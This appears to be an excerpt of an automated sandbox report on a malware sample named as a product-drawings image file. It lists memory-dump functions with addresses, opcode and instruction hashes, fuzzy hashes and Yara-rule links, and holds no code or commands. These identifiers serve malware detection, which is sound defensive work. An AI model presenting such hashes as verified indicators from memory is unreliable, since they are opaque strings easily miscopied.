Instruction ID: daa5acc65de3ca165520e6bc51f2629919ecd627721616b6ba38e8586d3e57a8
Opcode Fuzzy Hash: c0671890467b8388cfcc081a2bf43bf8288bd13d7c6aded5dc7618d7bf563156
Instruction Fuzzy Hash: 8FC1AF74E00318CFEB54DFA5C984B9DBBF2BF89304F2081A9D809AB255DB349A81DF54

Function 36A98F38 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e501a6835e0d4d73b1ba357eb389b0b8c003b187bf3ddbbacec199e691cb49e
Instruction ID: f67a08eb84abff28f9e350dfcd2a16223ff2439d50df1473becef38e4253747d
Opcode Fuzzy Hash: 8e501a6835e0d4d73b1ba357eb389b0b8c003b187bf3ddbbacec199e691cb49e
Instruction Fuzzy Hash: 71A1C271E047189BEB18DFBAD9502DEBBF2AF89310F248569D815AB390DB358D01CB91

Function 36A9E718 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 962b3e05d532b375adf3fba969c17a8e98cf7b17015edc27265873b70c7434c6
Instruction ID: 7e02b3622f3a7dc9255f40934c987975847e9d2108f0bc282f3f78426697ad29
Opcode Fuzzy Hash: 962b3e05d532b375adf3fba969c17a8e98cf7b17015edc27265873b70c7434c6
Instruction Fuzzy Hash: DDC19F74E01318CFEB54DFA5C984B9DBBF2BF89304F2081A9D809AB255DB359A81CF54

Function 36A9EB70 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77baa7d6b903f1fe36bba9ac53fa550bda285f62c20c8bff57405eb71a9a7a19
Instruction ID: acd733e926c7c8c0bac902a49373a6d562fce2dda7f619ac6c7a906cc2975f01
Opcode Fuzzy Hash: 77baa7d6b903f1fe36bba9ac53fa550bda285f62c20c8bff57405eb71a9a7a19
Instruction Fuzzy Hash: DEC19E74E003188FEB54DFA5C984B9DBBF2BF89304F2081A9D809AB255DB359A81DF54

Function 36A9C8B0 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 326a503cb535e69dbbae699042626419028dbc59a8a733132edf1c8cfe83e044
Instruction ID: d8520a316381e9c7e0a54ee976b313bf06c8bb785df6a661ae74f6ab25531986
Opcode Fuzzy Hash: 326a503cb535e69dbbae699042626419028dbc59a8a733132edf1c8cfe83e044
Instruction Fuzzy Hash: 5CC1AF74E00318CFEB54DFA5C984B9DBBF2BF8A304F2081A9D809AB255DB355A81DF54

Function 36A9F420 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48bf1a4cd9ffc4796d5f43eb0f1d41b1ddeaf063659335aa2e0f5fac125cea37
Instruction ID: 31ca05bd569e549febf30eca2d58ef4a868581b4eb59f61755c3d553b54407a3
Opcode Fuzzy Hash: 48bf1a4cd9ffc4796d5f43eb0f1d41b1ddeaf063659335aa2e0f5fac125cea37
Instruction Fuzzy Hash: 16C19F74E00318CFEB54DFA5C984B9DBBF2BF89304F2081A9D809AB255DB355A81DF54

Function 36A9F878 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cbebe76498c1eeed40176ef373089ba9267ab8c7060bf102b187ecd96c84b8c
Instruction ID: 91146fec3f483a0afaf8839725acb4d044ce8d32c19b87ed95ae406c8be0250c
Opcode Fuzzy Hash: 1cbebe76498c1eeed40176ef373089ba9267ab8c7060bf102b187ecd96c84b8c
Instruction Fuzzy Hash: 5FC19F74E00318CFEB54DFA5C984B9DBBF2BF89304F2081A9D809AB255DB359A81DF54

Function 36A9D5B8 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cea7f6041c9c5c4fe9a94dd04774fb3fdb888267ba9a1338df808aeeb9b525e7
Instruction ID: 2b014c1b49f9c013cb9f8fe3a3f5eb56481bedbd0cc62b033aead0bb7be186a8
Opcode Fuzzy Hash: cea7f6041c9c5c4fe9a94dd04774fb3fdb888267ba9a1338df808aeeb9b525e7
Instruction Fuzzy Hash: 8CC1AE74E00318CFEB54DFA5C990B9DBBF2BF89304F2081A9D809AB255DB359A81DF54

Function 36A9CD08 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f23667216ae840bca748e22742225c02b1715d4bbf4a63ca858d3007f937c500
Instruction ID: 0082c60d55669badf42bd1b17c46fd3ea9ff32d15b7fb7869f223ded242fce36
Opcode Fuzzy Hash: f23667216ae840bca748e22742225c02b1715d4bbf4a63ca858d3007f937c500
Instruction Fuzzy Hash: DAC1A074E00318CFEB54DFA5C980B9DBBF2BF89304F2081A9D809AB255DB355A81CF54

Function 36A9D160 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62adaf58264a4ae31e180f51b7383082400672d5ed13204ca524a1a1df6b1a7
Instruction ID: 38562b9f3da1c477f9e3b90a7c2ad8dc0da1241f50cc0dbd31e4865f96bd3e6c
Opcode Fuzzy Hash: a62adaf58264a4ae31e180f51b7383082400672d5ed13204ca524a1a1df6b1a7
Instruction Fuzzy Hash: C7C1A074E00318CFEB54DFA5C984B9DBBF2BF89304F2081A9D809AB255DB359A81DF54

Function 37365330 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3d51d5baa1aa27e216f4037295668f1fc4e2dcb5bd0ab6291b96708956b1fee
Instruction ID: bd7bae7f74f812e799da2c68cc5f540e7e26972af6020919e91486dd79577a3b
Opcode Fuzzy Hash: f3d51d5baa1aa27e216f4037295668f1fc4e2dcb5bd0ab6291b96708956b1fee
Instruction Fuzzy Hash: 37C1BF74E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF54

Function 37367730 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 624844a854f15459f76ab7f9bcaa1d7a27347c53a5e21b63212340b445af125b
Instruction ID: 1ad076dbe6defcd2338a60b8a4430fcae121587005eac2a1dbd8a0ec44b1a77a
Opcode Fuzzy Hash: 624844a854f15459f76ab7f9bcaa1d7a27347c53a5e21b63212340b445af125b
Instruction Fuzzy Hash: A1C1BF74E00318CFEB54DFA5C984B9DBBB2BF89304F6081A9D809AB355DB359A81CF54

Function 37362758 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2b66a19c2740ea819243e2c5a52b2e12dc9b7626b606e1d7812dba165475c5a
Instruction ID: ccdcf31e826aec9a43273c5a20be372ec6cd1593979259033761c55b6ad06ea7
Opcode Fuzzy Hash: d2b66a19c2740ea819243e2c5a52b2e12dc9b7626b606e1d7812dba165475c5a
Instruction Fuzzy Hash: BBC1A074E04318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB255DB359A81CF14

Function 37362BB0 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7783d553cdcb9ff71c4676220abc48014006cb7bdc34c6bb1d7db17fea0d6ded
Instruction ID: a633dcbfb632189fe29203dbe19fb33ea6107081946eb12802d5358cb2d4a576
Opcode Fuzzy Hash: 7783d553cdcb9ff71c4676220abc48014006cb7bdc34c6bb1d7db17fea0d6ded
Instruction Fuzzy Hash: 51C1BE74E01318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB354DB349A81DF14

Function 37365788 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fade9c1c0f1cf8fc689e4fe3255cfcbe7126c1c464d8a584562235fd814c21f7
Instruction ID: bd22e5631b4581a205c61fa2a0c909b85dfbd2f3ff3029567f7661092da4e30c
Opcode Fuzzy Hash: fade9c1c0f1cf8fc689e4fe3255cfcbe7126c1c464d8a584562235fd814c21f7
Instruction Fuzzy Hash: 45C1BF74E01318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF14

Function 37365BE0 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62a7425ba0584d145b8467f0eb5e22b998df7f7a543aa512f164aae522818860
Instruction ID: 97e4181b940991ee464a3b254dced5c0ddec94b17df65b40160071b8b80446d9
Opcode Fuzzy Hash: 62a7425ba0584d145b8467f0eb5e22b998df7f7a543aa512f164aae522818860
Instruction Fuzzy Hash: A4C1B074E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF54

Function 37364628 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16ebfedb6dedab9f1c0aa212458d52a49f211519c8ef1b75c66d8ba37b2ac1cd
Instruction ID: 6f86110c23f48c5f02d90d5f9533ee42a8a23bd710648e47c14f8aeb13d4a3c4
Opcode Fuzzy Hash: 16ebfedb6dedab9f1c0aa212458d52a49f211519c8ef1b75c66d8ba37b2ac1cd
Instruction Fuzzy Hash: 58C1AF74E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF14

Function 37366A28 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b2917e90dccbdaec2c5db2b8bbd1ac7e5ce9633d38d0868598d7aa747fa8ee
Instruction ID: 8306b18343f85da6e4f2b30685623b832003bf34c5e93444c88cf60a9956056c
Opcode Fuzzy Hash: 35b2917e90dccbdaec2c5db2b8bbd1ac7e5ce9633d38d0868598d7aa747fa8ee
Instruction Fuzzy Hash: 10C1AF74E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF54

Function 37361A50 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1310d3d68bcfbcd9534306bf713fbbea8fbc753f8d5205f5e574ff1e821e5e07
Instruction ID: 5f09b764c2b5d81b4d9d104f074ba1ec7f3f2d3dc7539b8acefaf0784d8585b5
Opcode Fuzzy Hash: 1310d3d68bcfbcd9534306bf713fbbea8fbc753f8d5205f5e574ff1e821e5e07
Instruction Fuzzy Hash: 01C1A174E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF54

Function 37361EA8 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cb892843494f4b8ed14aad953afd2df433ba9327f8cb0d37f9692abdb61ed12
Instruction ID: edfcbac183ab7e525f543c6d3f88d00d1eb4448a6e23d64d505ffc7b3350aebf
Opcode Fuzzy Hash: 4cb892843494f4b8ed14aad953afd2df433ba9327f8cb0d37f9692abdb61ed12
Instruction Fuzzy Hash: 50C1B174E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF14

Function 37364A80 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f0b31a81229c54620424de26d5ef96daae78be28854daa89628284ef5451e6b
Instruction ID: 8bef15879ab5825949ababe67171f0087e2e6a7aab48cf788714bbaa0972406b
Opcode Fuzzy Hash: 8f0b31a81229c54620424de26d5ef96daae78be28854daa89628284ef5451e6b
Instruction Fuzzy Hash: 21C1B074E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB349A81DF54

Function 37366E80 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9053bc30d1546cae464fc51a11ed012409c8b36758f6c99cf77db5f7ea285e12
Instruction ID: 906a304e51ac68ec3768a61b5bee443a6c85f71ba66837527f158b2554f30046
Opcode Fuzzy Hash: 9053bc30d1546cae464fc51a11ed012409c8b36758f6c99cf77db5f7ea285e12
Instruction Fuzzy Hash: 10C1CF74E00318CFEB54DFA5C984B9DBBB2BF89304F6081A9D809AB355DB359A81CF10

Function 373672D8 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98810c7e492aa9380e28c562036934bbc9c11ce1e87e106bdf5607afb438adef
Instruction ID: ab4be700044598eeb5f626ff66c4f61ec82b0106b19448435a54aacb85759ca2
Opcode Fuzzy Hash: 98810c7e492aa9380e28c562036934bbc9c11ce1e87e106bdf5607afb438adef
Instruction Fuzzy Hash: B3C1B074E00318CFEB54DFA5C984B9DBBB2BF89304F6081A9D809AB354DB359A81CF54

Function 37364ED8 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ff675a82622a8c63474ed86a41bf87ca68c8b90d4a064ebab182b84ab3e1fe
Instruction ID: 89ec77f1d78308dff57f1ea305840b88f7b4d0cf4d591d74aa5ed6b68d6fb265
Opcode Fuzzy Hash: 22ff675a82622a8c63474ed86a41bf87ca68c8b90d4a064ebab182b84ab3e1fe
Instruction Fuzzy Hash: 08C1B074E01318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF14

Function 37360D48 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdfff040c3d842095d23240c7a39e79cbbb2eb325e483ab0d94d0f4c7f5d7ddc
Instruction ID: 4d779b8b4e9a9a12a2a73daed1e4049f289a2d9b291d610f03687b15cd5a296d
Opcode Fuzzy Hash: bdfff040c3d842095d23240c7a39e79cbbb2eb325e483ab0d94d0f4c7f5d7ddc
Instruction Fuzzy Hash: 85C1AF74E01318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF14

Function 373611A0 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e86cfd2022d02963653d99d1598aa3abe9b14b60f986deb15aa6837659e6609
Instruction ID: e80090c401df3dd038d02c00af2d85e27dcb94a1153dddfbdc84148431781bdf
Opcode Fuzzy Hash: 5e86cfd2022d02963653d99d1598aa3abe9b14b60f986deb15aa6837659e6609
Instruction Fuzzy Hash: 49C1B274E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF54

Function 373615F8 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 010db19c0f0f1cac528858fd44139eb3cc6e4c6a9d2f46b8be8955d331fd3169
Instruction ID: 4e29c03027de993614c48eccf11b5aab7e669fd86751565057b3b620c5a16c81
Opcode Fuzzy Hash: 010db19c0f0f1cac528858fd44139eb3cc6e4c6a9d2f46b8be8955d331fd3169
Instruction Fuzzy Hash: AFC1AF74E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF54

Function 37366038 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04cc71d622619ff555a6a77790d23d3d701d913a944090862aca5601137f313c
Instruction ID: f241f3ca85f9996f3bfce034e2568cd0c9665e6364f0f5774550cea072cb8625
Opcode Fuzzy Hash: 04cc71d622619ff555a6a77790d23d3d701d913a944090862aca5601137f313c
Instruction Fuzzy Hash: 5AC1BF74E00318CFEB54DFA5C994B9DBBB2BF89304F2081A9D809AB355DB349A81CF14

Function 37363008 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d83842c7f3b919de5007eff975cbdf69c44cca69640aa93428522c74db755c
Instruction ID: bae9a0e11b035bc6df41f84da5b64f12cc8b2d1158860b933f450d0144f753ad
Opcode Fuzzy Hash: a0d83842c7f3b919de5007eff975cbdf69c44cca69640aa93428522c74db755c
Instruction Fuzzy Hash: 6BC1C074E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A85CF15

Function 37363460 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66632c6c419e74a8c0224bf1c849b0c796381dcc7b4c027a82573b20460d8b99
Instruction ID: e6bba75e7dee2fd092957d04344214c8ea6e2340173ff7495671951ac707fa3e
Opcode Fuzzy Hash: 66632c6c419e74a8c0224bf1c849b0c796381dcc7b4c027a82573b20460d8b99
Instruction Fuzzy Hash: 35C1B074E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB349A85CF11

Function 37360040 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2757dc207d8e1aba3a09ee776b6cc8f033c7f3096c7065c82a282f272d65388
Instruction ID: 710750f18e66ea988002381a71c34a97d91374d0cbd18488c67b40aafa0b4d57
Opcode Fuzzy Hash: a2757dc207d8e1aba3a09ee776b6cc8f033c7f3096c7065c82a282f272d65388
Instruction Fuzzy Hash: 35C1AF74E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF14

Function 37366490 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 214286dc0537c624e6eefcecd409eb8de3a67649b21206f1997be632a0e5f243
Instruction ID: f61ed8055eb61045c2df7ebeb0c0809dcd9e0387ff73aa0c76b3cce64cf52823
Opcode Fuzzy Hash: 214286dc0537c624e6eefcecd409eb8de3a67649b21206f1997be632a0e5f243
Instruction Fuzzy Hash: B6C1A074E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809BB255DB355A85DF14

Function 37360498 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 518018d8752ddc91ab16d5ee3441508f59e0fff6122a934df4277cf1d86d193e
Instruction ID: 5bdfec65a26811adca3a0b60126261aa18c582e4408dfd0b97abf670248e5a3e
Opcode Fuzzy Hash: 518018d8752ddc91ab16d5ee3441508f59e0fff6122a934df4277cf1d86d193e
Instruction Fuzzy Hash: 4BC1AF74E00318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB255DB359A81DF54

Function 373608F0 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d8cdad84be8348b0da2ad09cbbe8bb1ca0d87666ed482d6b7667d3c1278582b
Instruction ID: 3c2a67944107db7ff7730e656625f36e3c22ae4aa33325775fab41c03c63ec2b
Opcode Fuzzy Hash: 6d8cdad84be8348b0da2ad09cbbe8bb1ca0d87666ed482d6b7667d3c1278582b
Instruction Fuzzy Hash: 4FC1AE74E00318CFEB54DFA5C994BDDBBB2BF89304F2081A9D809AB255DB359A81CF14

Function 37411940 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3cf9a4d40218fb8dd340a1dbed226a294ac8d93f0c9ad36e45b261ae590f198
Instruction ID: 3f6b26b268ce6d49865aa1d3e667c2ec10835a52f972ed9c84b82afcae3e875e
Opcode Fuzzy Hash: b3cf9a4d40218fb8dd340a1dbed226a294ac8d93f0c9ad36e45b261ae590f198
Instruction Fuzzy Hash: 8A91A374E04218CFEB54DFA9C990ADDBBB2BF89300F648129D805BB354DB356946CF54

Function 37414B40 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d8c5618c27a9dffce58dcf60a9ad55fdc8d3032def25b45831bd80f2db9e267
Instruction ID: 719ff9915ff1f4ea81dffc537bac3105e175f8905a815286a9c2622dc74d3ad7
Opcode Fuzzy Hash: 9d8c5618c27a9dffce58dcf60a9ad55fdc8d3032def25b45831bd80f2db9e267
Instruction Fuzzy Hash: 9491B174E00218CFEB58DFA9D990ADDBBB2BF89310F608129D805BB358DB356946CF54

Function 37416760 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
